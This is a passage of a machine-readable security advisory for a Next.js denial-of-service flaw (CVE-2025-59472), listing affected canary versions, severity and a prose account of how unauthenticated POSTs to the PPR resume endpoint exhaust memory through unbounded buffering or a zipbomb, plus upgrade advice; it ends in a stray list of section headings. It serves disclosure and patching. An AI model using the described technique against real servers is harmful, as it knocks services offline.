              "last_affected": "15.2.0-canary.77"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "next"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "15.2.1-canary.0"
            },
            {
              "last_affected": "15.2.1-canary.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "next"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "15.2.2-canary.0"
            },
            {
              "last_affected": "15.2.2-canary.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "next"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "15.3.0-canary.0"
            },
            {
              "last_affected": "15.3.0-canary.46"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "next"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "15.3.1-canary.0"
            },
            {
              "last_affected": "15.3.1-canary.15"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "next"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "15.4.0-canary.0"
            },
            {
              "last_affected": "15.4.0-canary.130"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "next"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "15.4.2-canary.0"
            },
            {
              "last_affected": "15.4.2-canary.56"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "next"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "15.5.1-canary.0"
            },
            {
              "last_affected": "15.5.1-canary.39"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "next"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "15.6.0-canary.0"
            },
            {
              "fixed": "15.6.0-canary.61"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-59472"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400",
      "CWE-409",
      "CWE-770"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-01-28T15:20:55Z",
    "nvd_published_at": "2026-01-26T22:15:53Z",
    "severity": "MODERATE"
  },
  "details": "A denial of service vulnerability exists in Next.js versions with Partial Prerendering (PPR) enabled when running in minimal mode. The PPR resume endpoint accepts unauthenticated POST requests with the `Next-Resume: 1` header and processes attacker-controlled postponed state data. Two closely related vulnerabilities allow an attacker to crash the server process through memory exhaustion:\n\n1. **Unbounded request body buffering**: The server buffers the entire POST request body into memory using `Buffer.concat()` without enforcing any size limit, allowing arbitrarily large payloads to exhaust available memory.\n\n2. **Unbounded decompression (zipbomb)**: The resume data cache is decompressed using `inflateSync()` without limiting the decompressed output size. A small compressed payload can expand to hundreds of megabytes or gigabytes, causing memory exhaustion.\n\nBoth attack vectors result in a fatal V8 out-of-memory error (`FATAL ERROR: Reached heap limit Allocation failed - JavaScript heap out of memory`) causing the Node.js process to terminate. The zipbomb variant is particularly dangerous as it can bypass reverse proxy request size limits while still causing large memory allocation on the server.\n\nTo be affected, an application must run with `experimental.ppr: true` or `cacheComponents: true` configured along with the NEXT_PRIVATE_MINIMAL_MODE=1 environment variable.\n\nStrongly consider upgrading to 15.6.0-canary.61 or 16.1.5 to reduce risk and prevent availability issues in Next applications.",
  "id": "GHSA-5f7q-jpqc-wp7h",
  "modified": "2026-04-08T20:56:16Z",
  "published": "2026-01-28T15:20:55Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/vercel/next.js/security/advisories/GHSA-5f7q-jpqc-wp7h"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-59472"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/vercel/next.js"
    },
    {
      "type": "WEB",
      "url": "https://vercel.com/changelog/summaries-of-cve-2025-59471-and-cve-2025-59472"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Next.js has Unbounded Memory Consumption via PPR Resume Endpoint "
}

CWE-409

Improper Handling of Highly Compressed Data (Data Amplification)

Summary

Impact

Patches

Workarounds

Resources

Credits

Summary

Vulnerability details

Impact

Safe local proof of concept

Suggested remediation

Summary

Details

PoC

Impact

Impact

Affected usages

Remediation

Credits

Summary

Impact

Affected components

Patches

Workarounds

Resources

CVE split rationale

Impact

Affected usages

Remediation

Summary

Details

PoC

Impact